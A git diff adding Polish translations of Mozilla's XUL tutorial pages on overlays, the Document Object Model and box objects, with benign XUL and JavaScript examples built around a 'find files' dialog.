+<div class="highlight">
+<h3 id="Our_find_files_example" name="Our_find_files_example">Our find files example</h3>
+
+<p>Najpierw stwórzmy prostą nakładkę. Będzie ona miała kilka pól dla wprowadzenia nazwy pliku i katalogu dla wyszukania. Wywołaj plik foverlay.xul i dodać go katalogu findfile wraz z findfile.xul</p>
+
+<h3 id="Our_foverlay.xul_example" name="Our_foverlay.xul_example">Our foverlay.xul example</h3>
+
+<p><a href="https://developer.mozilla.org/samples/xultu/examples/ex_crosspov_1.xul.txt">Źródła</a></p>
+
+<pre>&lt;?xml version="1.0"?&gt;
+
+&lt;overlay
+ xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"&gt;
+
+&lt;toolbox id="navigator-toolbox"&gt;
+ &lt;toolbar id="findfile_toolbar"&gt;
+ &lt;label control="findfile_filename" value="Search for files named:"/&gt;
+ &lt;textbox id="findfile_filename"/&gt;
+ &lt;label control="findfile_dir" value="Directory:"/&gt;
+ &lt;textbox id="findfile_dir"/&gt;
+ &lt;button label="Browse..."/&gt;
+ &lt;/toolbar&gt;
+&lt;/toolbox&gt;
+
+&lt;/overlay&gt;
+</pre>
+
+<p>Możesz zobaczyć to przez zmianę nakładki na okno. Jedyną rzeczą, jaka jest tu specjalna jest zastosowanie <code>id</code> used on the <code><code><a href="/pl/docs/Mozilla/Tech/XUL/toolbox" title="toolbox">toolbox</a></code></code>. Wartość ta (<code>navigator-toolbox</code>) jest taka sama jak identyfikator okna narzędziowego w oknie przeglądarki (navigator.xul) Oznacza to ,że nakładka będzie zastosowana do okna narzędziowego w oknie przeglądarki a zawartość będzie dodana jako dodatkowy pasek narzędzi.</p>
+
+<p>Aby dodać tą nakładkę do pliku - wykazu, musisz dodać dwa zasoby. Najpierw dodajemy jedną dla każdego okna, w którym stosujemy nakładkę. Poniższy kod powinien być dodany do pliku content.rdf zanim zamkniemy znacznik RDF.</p>
+
+<pre>&lt;RDF:Seq about="urn:mozilla:overlays"&gt;
+ &lt;RDF:li resource="chrome://navigator/content/navigator.xul"/&gt;
+&lt;/RDF:Seq&gt;
+</pre>
+
+<p>Deklaruje on, że dodajemy nakładkę okna, potomka źródłowego węzła nakładki (urn:mozilla:overlays) Możesz dodać dodatkowe węzły dla dowolnego okna, w którym chcesz zastosować nakładki poprzez dodanie dodatkowych węzłów <code>li</code>.</p>
+
+<p>Następnie dodajemy węzeł dla każdej nakładki stosowanej w oknie. W tym przypadku, mamy tylko jedną, ale możemy zastosować również pozostałe. Dodaj te linie po poprzednich liniach</p>
+
+<pre>&lt;RDF:Seq about="chrome://navigator/content/navigator.xul"&gt;
+ &lt;RDF:li&gt;chrome://findfile/content/foverlay.xul&lt;/RDF:li&gt;
+&lt;/RDF:Seq&gt;
+</pre>
+</div>
+
+<div class="float-right"><img alt="Image:crosspov1.jpg"></div>
+
+<p>Mozilla odczytuje te informacje i buduje listę nakładek, które są stosowane z innymi oknami. Przechowuje tą informację w katalogu chrome/overlayinfo. Nie musisz ręcznie modyfikować tych plików w tym katalogu. Jest automatycznie generowany i modyfikowany, kiedy Mozilla jest pierwszy raz uruchamiana lub kiedy nowe pakiety są zainstalowane. Jednakże możesz wymusić daną będącą przebudowana przez usunięcie tego katalogu i pliku chrome.rdf.</p>
+
+<p>Możemy stosować podobne techniki do zastosowania dodatkowych arkuszy stylów. Pokazuje to poniższy przykład:</p>
+
+<pre>&lt;RDF:Seq about="urn:mozilla:stylesheets"&gt;
+ &lt;RDF:li resource="chrome://messenger/content/messenger.xul"/&gt;
+&lt;/RDF:Seq&gt;
+
+&lt;RDF:Seq about="chrome://messenger/content/messenger.xul"&gt;
+ &lt;RDF:li&gt;chrome://blueswayedshoes/skin/myskinfile.css&lt;/RDF:li&gt;
+&lt;/RDF:Seq&gt;
+</pre>
+
+<p>Następnie zobaczymy <a href="pl/Kurs_XUL/Tworzenie_instalatora">jak stworzyć instalator</a> dla aplikacji XUL.</p>
+
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Nakładki" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Tworzenie_instalatora">Następny »</a></p>
+</div><p></p>
diff --git a/files/pl/mozilla/tech/xul/kurs_xul/obiektowy_model_dokumentu/index.html b/files/pl/mozilla/tech/xul/kurs_xul/obiektowy_model_dokumentu/index.html
new file mode 100644
index 0000000000..afc317c45c
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/kurs_xul/obiektowy_model_dokumentu/index.html
@@ -0,0 +1,244 @@
+---
+title: Obiektowy model dokumentu
+slug: Mozilla/Tech/XUL/Kurs_XUL/Obiektowy_model_dokumentu
+tags:
+ - DOM
+ - Kurs_XUL
+ - Przewodniki
+ - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Document_Object_Model
+---
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Rozgłaszacze_oraz_obserwatory" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Modyfikowanie_interfejsu_XUL">Następny »</a></p>
+</div><p></p>
+
+<p>Obiektowy model dokumentu (DOM - Document Object Model) może zostać użyty z elementami XUL, umożliwiając pobieranie o nich informacji oraz ich modyfikację.</p>
+
+<h2 id="Wprowadzenie_do_DOM" name="Wprowadzenie_do_DOM">Wprowadzenie do DOM</h2>
+
+<p><a href="pl/DOM">DOM</a> jest używany do przechowywania drzewa węzłów XUL. Podczas wczytywania pliku XUL znaczniki są parsowane i przekształcane w hierarchiczną strukturę węzłów dokumentu (jeden węzeł to znaczników lub blok tekstu). Strukturę DOM można odczytywać oraz modyfikować używając odpowiednich metod; również niektóre elementy XUL dostarczają dodatkowych funkcji.</p>
+
+<p>Każdy plik XUL po wczytaniu posiada własny dokument wyświetlony w oknie lub w ramce. Pomimo tego, że istnieje tylko jeden dokument powiązany z oknem, można dodawać dodatkowe dokumenty przy pomocy odpowiednich metod.</p>
+
+<p>W Mozilli, dostęp i modyfikacja <a href="pl/DOM">DOM</a> jest możliwa poprzez <a href="pl/JavaScript">JavaScript</a>. Różne obiekty DOM posiadają funkcje, do których dostęp jest możliwy z poziomu skryptu. Należy jednak zauważyć, że DOM to API (Application Programming Interface - interfejs programowania aplikacji), które może być użyte przez JavaScript, ponieważ Mozilla dostarcza odpowiednich obiektów.</p>
+
+<p>W <a href="pl/JavaScript">JavaScript</a> zawsze istnieje jeden globalny obiekt, który jest zawsze dostępny. Można odwoływać się do własności i metod tego obiektu bez jego bezpośredniego wskazywania. Na przykład, jeśli ten obiekt posiada własność 'name', można ją zmodyfikować poprzez napisanie <code>name = 7</code>, bez odwoływania się do samego obiektu. W przypadku przeglądarki takim globalnym obiektem jest obiekt
+
+ <i>window</i>
+ (okno), podobnie jest w języku XUL. Oczywiście każde okno oraz ramka posiada swój własny, odrębny obiekt.</p>
+
+<p>Do okna można się odnieść poprzez własność <a href="pl/DOM/window.window"><code>window</code></a>, chociaż nie jest to konieczne. Czasami jest ten sposób użyty, aby zasięg metody, której używamy, był bardziej czytelny. Na przykład poniższe dwie linijki spowodują ten sam efekt (otwarcie nowego okna):</p>
+
+<pre>window.open("test.xul","_new");
+open("test.xul","_new");
+</pre>
+
+<p>Kiedy zadeklarujesz funkcję lub zmienną na zewnątrz innych funkcji, tak naprawdę deklarujesz własność globalnego obiektu. W języku XUL każda funkcja, którą zadeklarujesz będzie ustawiona jako własność obiektu 'window'. Na przykład, poniższy kod dwukrotnie wyświetli <code><a href="pl/DOM/window.alert">alert</a></code> - okienko wyskakujące z tekstem 'Wiadomość'.</p>
+
+<pre>function getText(){
+ return "Wiadomość";
+}
+
+alert(getText());
+alert(window.getText());
+</pre>
+
+<p>Jeśli chcesz uzyskać dostęp do zmiennej lub wywołać funkcję zadeklarowaną w skrypcie używanym przez inne okno, wystarczy po prostu użyć obiektu <code><a href="pl/DOM/window">window</a></code> tego okna. Na przykład po połączeniu dwóch ostatnich przykładów w jeden plik, można wywołać funkcję <code>getText()</code> z wnętrza innego okna (np. okna test.xul) w ten sposób:</p>
+
+<pre>alert(window.opener.getText());
+</pre>
+
+<p>Każde okno posiada własność <code><a href="pl/DOM/window.opener">opener</a></code>, która przechowuje obiekt 'window' wskazujące na okno, które otwarło aktualne okno. W naszym przykładzie pobieramy okno otwierające i wywołujemy funkcję <code>getText()</code> w nim zadeklarowaną. Zauważ, że użyty został identyfikator 'window' tylko po to, aby kod był czytelniejszy.</p>
+
+<p>Metoda okna <code><a href="pl/DOM/window.open">open()</a></code> także zwraca referencję do nowego okna, więc możliwe jest wywoływanie funkcji nowego okna z okna z <code><a href="pl/DOM/window.opener">opener</a></code>. Warto jednak zauważyć, że metoda <code><a href="pl/DOM/window.open">open()</a></code> zwraca wartość zanim nowe okno jest w pełni wczytane, tak więc funkcje te nie są zazwyczaj od razu dostępne.</p>
+
+<p>Obiekt typu 'window' nie jest zdefiniowane w żadnej specyfikacji, ale w Mozilli czasami uznaje się to za część DOM Poziomu 0 (<a>DOM Level 0</a>). Jest to nazwa używana przez niektórych programistów w odniesieniu do funkcji własności dla DOM, które istniały przed dołączeniem ich do specyfikacji. Dokument, który jest wyświetlany w oknie może zostać pobrany poprzez własność okna <code><a href="pl/DOM/window.document">document</a></code>. Ponieważ <code><a href="pl/DOM/window.document">document</a></code> jest jedną z najczęściej używanych własności okna, to zazwyczaj jest ona wywoływana bez identyfikatora 'window.'.</p>
+
+<p>Mozilla dostarcza kilku różnych obiektów typu 'document', w zależności od rodzaju dokumentu używanego w tym czasie. Trzy podstawowe to <a class="external" href="http://www.xulplanet.com/references/objref/HTMLDocument.html">HTMLDocument</a>, <a class="external" href="http://www.xulplanet.com/references/objref/XMLDocument.html">XMLDocument</a> i <a class="external" href="http://www.xulplanet.com/references/objref/XULDocument.html">XULDocument</a>, odpowiednio dla języków <a href="pl/HTML">HTML</a>, <a href="pl/XML">XML</a> i <a href="pl/XUL">XUL</a>. Są one do siebie bardzo podobne, ponieważ na poziomie podstawowym są tak samo zrealizowane. Różnią się kilkoma funkcjami, które działają odpowiednio dla typu dokumentu.</p>
+
+<h2 id="Odzyskiwanie_element.C3.B3w" name="Odzyskiwanie_element.C3.B3w">Odzyskiwanie elementów</h2>
+
+<p>Najpopularniejszym sposobem pobrania elementu w dokumencie jest nadanie elementowi atrybutu <code><a href="pl/DOM/element.id">id</a></code>, a następnie użycie metody <code><a href="pl/DOM/document.getElementById">getElementById()</a></code>. W okienku dialogowym &lt;tt&gt;Znajdź pliki&lt;/tt&gt; dodaliśmy atrybut <code>id</code> wielu elementom. Na przykład możemy pobrać stan pola wyboru stosując poniższy kod:</p>
+
+<pre>var state = document.getElementById('casecheck').checked;
+</pre>
+
+<p>Wartość <code>casecheck</code> odpowiada identyfikatorowi <code>id</code> z elementu <a href="pl/Kurs_XUL/Kontrolki_wej%c5%9bcia#Pola_wyboru_i_przyciski_opcji">checkbox</a>, który określa, czy wyszukiwanie powinno uwzględnić wielkość liter. Wiedząc, czy jest on zaznaczony, czy nie, może zostać wykonane wyszukiwanie. Podobnie można postąpić z innym polami wyboru lub jakimkolwiek elementem posiadającym <code>id</code>.</p>
+
+<div class="highlight">
+<h4 id="Nasz_przyk.C5.82ad_Znajd.C5.BA_pliki" name="Nasz_przyk.C5.82ad_Znajd.C5.BA_pliki">Nasz przykład &lt;tt&gt;Znajdź pliki&lt;/tt&gt;</h4>
+
+<p>Nie ma sensu wyświetlać <a href="pl/Kurs_XUL/Paski_post%c4%99pu">paska postępu</a> oraz pustego <a href="pl/Kurs_XUL/Drzewa">drzewa danych</a> podczas pierwszego wyświetlania okna dialogowego &lt;tt&gt;Znajdź pliki&lt;/tt&gt;. Zostały one dodane, aby były dla nas widoczne. Kod zostanie zmieniony tak, aby początkowo były one ukryte. Zostanie użyty atrybut <code><code id="a-hidden"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hidden">hidden</a></code></code>, który określa, czy element jest widoczny, czy nie.</p>
+
+<p>Wskaźnik postępu będzie początkowo ukryty. Dodany zostanie również atrybut <code><code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code></code>, aby móc się do niego odwoływać w skrypcie aby go ukryć lub wyświetlić. <a href="pl/Kurs_XUL/Rozdzielacze">Rozdzielacz</a> oraz drzewo z wynikami zostaną również początkowo ukryte, wyświetlone zostaną dopiero po wyszukiwaniu:</p>
+
+<pre class="eval">&lt;tree <span class="highlightred">id="results" hidden="true"</span> flex="1"&gt;
+ .
+ .
+ .
+&lt;splitter <span class="highlightred">id="splitbar"</span> resizeafter="grow" <span class="highlightred">hidden="true"</span>/&gt;
+
+&lt;hbox&gt;
+
+ &lt;progressmeter <span class="highlightred">id="progmeter"</span> value="50%"
+ style="margin: 4px;" <span class="highlightred">hidden="true"</span>/&gt;
+</pre>
+
+<p>Dodano atrybut <code><code id="a-hidden"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hidden">hidden</a></code></code> z wartością ustawioną na <code>true</code>. Spowoduje to ukrycie elementu w pierwszych wyświetleniach.</p>
+
+<p>Następnie dodana zostanie funkcja wywoływana po naciśnięciu przycisku &lt;tt&gt;Znajdź&lt;/tt&gt;. Skrypt zostanie zapisany w osobnym pliku findfiles.js. W <a href="pl/Kurs_XUL/Dodawanie_funkcji_obs%c5%82ugi_zdarze%c5%84">ostatnim rozdziale</a> dodano element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/script" title="script">script</a></code></code> do pliku XUL. Jeśli jeszcze tego nie zrobiłeś, zrób to teraz w sposób pokazany poniżej. Uchwyt <code><code id="a-oncommand"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/oncommand">oncommand</a></code></code> zostanie również dodany do przycisku &lt;tt&gt;Znajdź&lt;/tt&gt;.</p>
+
+<pre class="eval">&lt;script src="findfile.js"/&gt;
+ .
+ .
+ .
+&lt;button id="find-button" label="Znajdź"
+ <span class="highlightred">oncommand="doFind();"</span>/&gt;
+</pre>
+
+<p>Następnie, w tym samym katalogu co plik findfiles.xul, utwórz plik findfiles.js. Funkcja doFind() zostanie dodana do tego pliku. Znacznik script pozwala bezpośrednio w sobie zawierać kod, ale zazwyczaj (między innymi z powodu wydajności) skrypty umieszcza się w osobnym pliku. Wyjątkiem może być krótki fragment kodu umieszczony bezpośrednio w uchwycie zdarzenia.</p>
+
+<pre class="eval">function doFind(){
+ var meter = document.getElementById('progmeter');
+ meter.hidden = false;
+}
+</pre>
+
+<p>Powyższa funkcja najpierw pobiera referencję paska postępu, poprzez użycie jego id <code>progmeter</code>. Druga linia kodu funkcji zmienia status hidden, czyli element stanie się ponownie widoczny.</p>
+
+<p>Na koniec, dodajmy jeszcze wyskakujące okienko ostrzeżenia, które wyświetli informację czego szukamy. W ostatecznej wersji skryptu tego fragmentu nie będzie, ale na razie dzięki temu będziemy wiedzieli, że coś się dzieje.</p>
+
+<pre class="eval">function doFind(){
+ var meter=document.getElementById('progmeter');
+ meter.hidden = false;
+ <span class="highlightred">var searchtext=document.getElementById('find-text').value;
+ alert("Szukanie dla \"" + searchtext + "\"");</span>
+}
+</pre>
+
+<p>Teraz, wraz z pudełkiem ostrzeżenia będzie wiadomo, co się wydarzy po naciśnięciu przycisku &lt;tt&gt;Znajdź&lt;/tt&gt;. Możemy również dodać dodatkowy kod pobierający zaznaczenie z rozwijanych pudełek.</p>
+</div>
+
+<h2 id="Elementy_XUL_w_DOM" name="Elementy_XUL_w_DOM">Elementy XUL w DOM</h2>
+
+<p>Każdy element XUL posiada przypisane atrybuty, przypisane własności oraz przypisane dziecko elementu.</p>
+
+<ul>
+ <li>Atrybuty są deklarowane w kodzie, na przykład flex="1" oznacza, że atrybutowi <code><code id="a-flex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flex">flex</a></code></code> przypisana jest wartość <code>1</code>.</li>
+ <li>Własności są używane w JavaScript używając notacji z kropką. Na przykład element.hidden odpowiada własności hidden elementu.</li>
+ <li>Dzieci elementu to znaczniki potomne elementu i są one zagnieżdżone wewnątrz elementu w źródle.</li>
+</ul>
+
+<p>Jest możliwe, aby manipulować atrybutami, własnościami oraz dziećmi elementu stosując dynamicznie metody DOM.</p>
+
+<p>Warto zauważyć, że atrybuty i własności to nie to samo. Istnienie atrybutu o danej nazwie nie znaczy, że istnieje odpowiadająca własność o takiej samej nazwie. Z drugiej strony, często tak się dzieje. Na przykład, aby pobrać atrybut <code>flex</code>, można użyć własności flex. W tym przypadku kod za to odpowiedzialny zwraca wartość atrybutu. Jednakże dla innych własności, XUL wykona bardziej złożone operacje.</p>
+
+<p>Można manipulować atrybutami elementu poprzez zastosowanie którejś z następujących metod:</p>
+
+<dl>
+ <dt><a href="pl/DOM/element.getAttribute">getAttribute</a> ( name )</dt>
+ <dd>Zwraca wartość atrybutu o nazwie 'name'.</dd>
+ <dt><a href="pl/DOM/element.hasAttribute">hasAttribute</a> ( name )</dt>
+ <dd>Zwraca
+ <i>true</i>
+ , jeśli atrybut o nazwie 'name' posiada wartość.</dd>
+ <dt><a href="pl/DOM/element.setAttribute">setAttribute</a> ( name , value )</dt>
+ <dd>Ustawia wartość atrybutu o nazwie 'name' na daną wartość 'value'.</dd>
+ <dt><a href="pl/DOM/element.removeAttribute">removeAttribute</a> ( name )</dt>
+ <dd>Usuwa atrybut o nazwie 'name'.</dd>
+</dl>
+
+<p>Powyższe funkcje umożliwiają pobieranie i zmianę wartości atrybutu w dowolnym momencie. Na przykład, następujący kod pobiera wartość atrybutu flex oraz przypisuje mu inną wartość:</p>
+
+<pre> var box = document.getElementById('somebox');
+ var flex = box.getAttribute("flex");
+
+ var box2 = document.getElementById('anotherbox');
+ box2.setAttribute("flex", "2");
+</pre>
+
+<p>Atrybut <code><code id="a-flex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flex">flex</a></code></code> posiada <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/flex">odpowiednią własność w skrypcie</a>, która może zostać zamiennie użyta. Nie jest to bardziej wydajny sposób, za to wymaga trochę mniej pisania. Poniższy kod zadziała w ten sam sposób, jak w poprzednim przykładzie, lecz stosując własność flex.</p>
+
+<pre> var box = document.getElementById('somebox');
+ var flex = box.flex;
+
+ var box2 = document.getElementById('anotherbox');
+ box2.flex = 2;
+</pre>
+
+<p>Mając już jedną referencję do elementu, można wywołać własność tego elementu. Na przykład, można pobrać własność <code><code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/hidden">hidden</a></span></code></code> elementu poprzez użycie składni <code>
+ <i>element</i>
+ .hidden</code>, gdzie; <code>
+ <i>element</i>
+ </code> to referencja do elementu. Zauważ, że większość własności wypisanych w dokumentacji ma swoje odpowiedniki wśród atrybutów elementów. Oczywiście istnieją różnice, na przykład <strong><font color="green">getAttribute("hidden") zwróci łańcuch znaków 'true'</font></strong> dla ukrytych elementów, podczas gdy <strong><font color="green">własność <code>hidden</code> zwróci typ boolean o wartości <code>true</code></font></strong>. W tym wypadku zachodzi konwersja typów, tak więc własność jest wygodniejsza w użyciu.</p>
+
+<p>Jak z każdym dokumentem, istnieje osobny obiekt typu elementu dla elementów XUL, tak jak odpowiednio istnieją elementy <a href="pl/HTML">HTML</a> i <a href="pl/XML">XML</a>. Każdy element XUL implementuje interfejs <a class="external" href="http://www.xulplanet.com/references/objref/XULElement.html">XULElement</a>]. Elementu XUL to każdy element zadeklarowany w przestrzeni nazw XUL. Tak więc elementy XUL posiadają ten interfejs nawet, jeśli są dodane do innych dokumentów XML. Z drugiej strony elementy inne niż elementy XUL nie posiadają tego interfejsu. Interfejs XULElement posiada wiele własności oraz metody określonych dla elementów XUL, wiele dziedziczy z ogólnego interfejsu DOM Element.</p>
+
+<p>Przestrzeń nazw to adres URI określający rodzaj elementu. Poniżej kilka przykładów:</p>
+
+<pre>&lt;button xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"/&gt;
+&lt;button xmlns="http://www.w3.org/1999/xhtml"/&gt;
+&lt;html:button xmlns:html="http://www.w3.org/1999/xhtml"/&gt;
+&lt;html:button xmlns:html="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"/&gt;
+</pre>
+
+<p>Przestrzenie nazw są określane przy użyciu atrybutu <code>xmlns</code>.</p>
+
+<ul>
+ <li>Pierwszy przycisk jest elementem XUL, ponieważ został umieszczony w przestrzeni nazw XUL.</li>
+ <li>Drugi element to element XHTML, ponieważ przypisano go do przestrzeni nazw XHTML.</li>
+ <li>W trzecim przykładzie przedrostek
+ <i>html</i>
+ jest zmapowany do przestrzeni nazw <span class="nowiki">'http://www.w3.org/1999/xhtml'</span>. Można użyć składnię przedrostka z dwukropkiem, aby zastosować określoną przestrzeń nazw. Stosowane jest to w przypadku użycia kliku przestrzeni nazw w dokumencie i gdy potrzebujemy więcej zrobić niż na to pozwala przestrzeń nazw.</li>
+ <li>Czwarty przykład może wydawać się nieco niejasny, ale może udowodni, że to adres URI jest ważniejszy, a nie przedrostek. W przykładzie tym przycisk jest elementem XUL, a nie przyciskiem HTML, jak mógłby na to wskazywać przedrostek.</li>
+</ul>
+
+<p>Tak naprawdę nazwa użyta w przedrostku nie ma znaczenia, jeśli chodzi o określenie, jakiego typu jest element.</p>
+
+<p>DOM dostarcza wiele funkcji pomocnych przy posługiwaniu się przestrzeniami nazw, które są podobne do tych niezwiązanych z nimi. Istnieje na przykład funkcja <code><a href="pl/DOM/element.getAttributeNS">getAttributeNS()</a></code> przypominająca funkcję <code><a href="pl/DOM/element.getAttribute">getAttribute()</a></code> poza dodatkowym argumentem, który może być stosowany do określenia atrybutu w konkretnej przestrzeni nazw.</p>
+
+<p>Wiele elementów XUL posiada swoje własne unikatowe własności. Aby poznać wszystkie atrybuty i własności dostępne dla elementu, zajrzyj do <a href="pl/Dokumentacja_XUL">dokumentacji</a>.</p>
+
+<h2 id="Poruszanie_si.C4.99_po_DOM" name="Poruszanie_si.C4.99_po_DOM">Poruszanie się po DOM</h2>
+
+<p>DOM jest strukturą drzewa z pojedynczym węzłem głównym (
+ <i>ang. root node</i>
+ ) oraz jego węzłami potomnymi. Aby pobrać odniesienie do węzła głównego, należy użyć własności dokumentu <code><a href="pl/DOM/document.documentElement">documentElement</a></code>. Węzeł główny jest zawsze elementem, ale nie zawsze są nimi inne węzły drzewa. W drzewie dokumentu element odpowiada znacznikowi w źródle XUL, ale można również znaleźć węzły tekstowe, węzły komentarzy oraz kilka innymi typów. W przypadku XUL, elementem głównym będzie znacznik <code><code><a href="/pl/docs/Mozilla/Tech/XUL/window" title="window">window</a></code></code> w dokumencie XUL. Każdy węzeł w drzewie może mieć dzieci, które mogą posiadać własne węzły potomne. Ponieważ DOM jest strukturą drzewa, można poruszać się poprzez drzewo stosując różnorodne własności. Niektóre własności są wypisane poniżej:</p>
+
+<dl>
+ <dt><a href="pl/DOM/element.firstChild">firstChild</a> </dt>
+ <dd>Odnosi się do pierwszego węzła potomnego elementu.</dd>
+ <dt><a href="pl/DOM/element.lastChild">lastChild</a> </dt>
+ <dd>Odnosi się do ostatniego węzła potomnego elementu.</dd>
+ <dt><a href="pl/DOM/element.childNodes">childNodes</a> </dt>
+ <dd>Podtrzymuje listę dzieci elementu.</dd>
+ <dt><a href="pl/DOM/element.parentNode">parentNode</a> </dt>
+ <dd>Odnosi się do rodzica węzła.</dd>
+ <dt><a href="pl/DOM/element.nextSibling">nextSibling</a> </dt>
+ <dd>Odnosi się do następnej sekwencji rodzeństwa.</dd>
+ <dt><a href="pl/DOM/element.previousSibling">previousSibling</a> </dt>
+ <dd>Odnosi się do wcześniejszej sekwencji rodzeństwa.</dd>
+</dl>
+
+<p>Powyższe własności pozwalają na poruszanie się po dokumencie na różne sposoby. Na przykład, można pobrać pierwszego potomka elementu przy pomocy własności <code><a href="pl/DOM/element.firstChild">firstChild</a></code> i następnie poruszać się poprzez dzieci używając własności <code><a href="pl/DOM/element.nextSibling">nextSibling</a></code>. Ten sam efekt można uzyskać poprzez odwoływanie się do obiektów listy pobranej przez <code><a href="pl/DOM/element.childNodes">childNodes</a></code>. W Mozilli kolejna metoda jest bardziej wydajna.</p>
+
+<p>Następny przykład pokaże, jak przejść po potomkach węzła głównego:</p>
+
+<pre>var childNodes = document.documentElement.childNodes;
+for (var i = 0; i &lt; childNodes.length; i++) {
+ var child = childNodes[i];
+ // zrób coś z potomkiem
+}
+</pre>
+
+<p>Zmienna <code><a href="pl/DOM/element.childNodes">childNodes</a></code> przechowuje dzieci głównego elementu dokumentu. Następnie, przy pomocy pętli <code>for</code>, uzyskujemy dostęp do każdego dziecka, tak jak w przypadku tablic.</p>
+
+<div class="highlight">Przykład &lt;tt&gt;Znajdź pliki&lt;/tt&gt;: <a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-dom.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-dom.xul">Podgląd</a></div>
+
+<p><small>Zobacz także: <a href="pl/JavaScript/Na_pocz%c4%85tek">JavaScript:Na początek</a> i <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5">Dokumentacja języka JavaScript 1.5</a></small></p>
+
+<p>W następnym artykule nauczymy się <a href="pl/Kurs_XUL/Modyfikowanie_interfejsu_XUL">modyfikacji DOM.</a>.</p>
+
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Rozgłaszacze_oraz_obserwatory" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Modyfikowanie_interfejsu_XUL">Następny »</a></p>
+</div><p></p>
diff --git a/files/pl/mozilla/tech/xul/kurs_xul/obiekty_pudełka/index.html b/files/pl/mozilla/tech/xul/kurs_xul/obiekty_pudełka/index.html
new file mode 100644
index 0000000000..e929b9b138
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/kurs_xul/obiekty_pudełka/index.html
@@ -0,0 +1,164 @@
+---
+title: Obiekty pudełka
+slug: Mozilla/Tech/XUL/Kurs_XUL/Obiekty_pudełka
+tags:
+ - Kurs_XUL
+ - Przewodniki
+ - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Box_Objects
+---
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Manipulowanie_listami" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Interfejsy_XPCOM">Następny »</a></p>
+</div><p></p>
+
+<p>Artykuł ten opisuje obiekty pola, które mieszczą w sobie powiązane informacje o wyświetlaniu i rozmieszczaniu pola XUL jak również pewne szczegóły o rozmieszczeniu XUL.</p>
+
+<h2 id="O_uk.C5.82adzie_graficznym_Mozilli" name="O_uk.C5.82adzie_graficznym_Mozilli">O układzie graficznym Mozilli</h2>
+
+<p>Mozilla dzieli rzeczy na dwa zbiory drzew, drzewo content (zawartości) i drzewo layout (rozmieszczenia). Drzewo content (zawartości) przechowuje węzły jakie znajdują się w kodzie źródłowym. Drzewo layout (rozmieszczenia) przechowuje inne drzewo content (węzłów) dla każdego pojedynczego komponentu jaki może być wyświetlony. Drzewo layout (rozmieszczenia) mieści w sobie strukturę taką jak nodes (węzły) oczekiwane przy wyświetlaniu. Nie jest konieczny związek jeden do jednego pomiędzy nodes (węzłami) content (zawartości) a layout (rozmieszczenia).Pewne nodes (węzły) content (zawartości) mogą mieć klika obiektów layout (rozmieszczenia), na przykład każda linia paragrafu ma oddzielny obiekt layout (rozmieszczenia). Odwrotnie, pewne nodes content (węzły zawartości) nie mają wcale obiektów layout (rozmieszczenia). Na przykład element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/key" title="key">key</a></code></code> nie ma żadnego obiektu layout (rozmieszczenia) ponieważ nie jest wyświetlany w żaden sposób. Podobnie, dowolny element, który był wykrywany również nie będzie miał obiektu layout (rozmieszczenia).</p>
+
+<p><span class="comment">Mozilla divides things into two sets of trees, the content tree and the layout tree. The content tree stores the nodes as they are found in the source code. The layout tree holds a different tree of nodes for each individual component that can be displayed. The layout tree holds the structure as the nodes are expected to be displayed There is not necessarily a one to one relationship between content and layout nodes. Some content nodes may have several layout objects, for example, each line of a paragraph has a separate layout object. Conversely, some content nodes have no layout objects at all. For instance, the &lt;code&gt;<code><a href="/pl/docs/Mozilla/Tech/XUL/key" title="key">key</a></code>&lt;/code&gt; element doesn't have any layout objects since it isn't displayed in any way. Similarly, any element that has been hidden will not have a layout object either.</span></p>
+
+<p>DOM jest generalnie używany tylko do pobrania i modyfikacji informacji odnoszącej się do zawartości lub struktury dokumentu. Jest względnie proste do określenia jaki rodzaj węzła drzewa zawartości będzie stworzony dla danego elementu. Element XUL, na przykład, będzie miał typ XUL Element węzła zawartości.</p>
+
+<p><span class="comment">The <a href="/pl/DOM">DOM</a> is generally used only to get and modify information pertaining to the content or structure of the document. It's relatively simple to determine what kind of content tree node will be created for a given element. A XUL element, for example, will have a XULElement type of content node.</span></p>
+
